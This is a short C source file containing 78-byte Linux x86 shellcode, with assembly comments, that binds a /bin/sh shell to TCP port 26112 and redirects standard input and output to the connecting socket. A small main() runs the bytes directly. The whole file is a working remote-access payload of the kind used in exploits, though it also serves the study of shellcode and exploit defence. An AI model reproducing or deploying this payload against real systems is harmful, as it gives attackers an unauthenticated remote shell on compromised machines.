/* 78 bytes portbinding shellcode - linux-x86
 * - by bighawk (bighawk@kryptology.org)
 *
 * This shellcode binds a shell on port 26112
 *
 * stdin, stdout and stderr are dupped. accept() arguments are sane.
 */

char code[] =

   "\x31\xdb"			// xor     ebx, ebx
   "\xf7\xe3"			// mul     ebx
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x6a\x02"			// push    byte 2
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x66"			// mov     al, 102
   "\x52"                       // push    edx
   "\x50"                       // push    eax
   "\xcd\x80"			// int     80h
   "\x43"			// inc	   ebx
   "\x66\x53"			// push	   bx
   "\x89\xe1"			// mov	   ecx, esp
   "\x6a\x10"			// push	   byte 16
   "\x51"			// push	   ecx
   "\x50"			// push	   eax
   "\x89\xe1"			// mov	   ecx, esp
   "\x52"			// push	   edx
   "\x50"			// push	   eax
   "\xb0\x66"			// mov	   al, 102
   "\xcd\x80"			// int	   80h
   "\x89\xe1"			// mov	   ecx, esp
   "\xb3\x04"			// mov	   bl, 4
   "\xb0\x66"			// mov	   al, 102
   "\xcd\x80"			// int	   80h
   "\x43"			// inc	   ebx
   "\xb0\x66"			// mov	   al, 102
   "\xcd\x80"			// int	   80h
   "\x89\xd9"			// mov     ecx, ebx
   "\x93"			// xchg    eax, ebx
   "\xb0\x3f"			// mov     al, 63
   "\xcd\x80"			// int     80h
   "\x49"			// dec     ecx
   "\x79\xf9"			// jns     duploop
   "\x52"			// push    edx
   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
   "\x89\xe3"			// mov     ebx, esp
   "\x52"			// push    edx
   "\x53"			// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x0b"			// mov     al, 11
   "\xcd\x80";			// int     80h


main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}
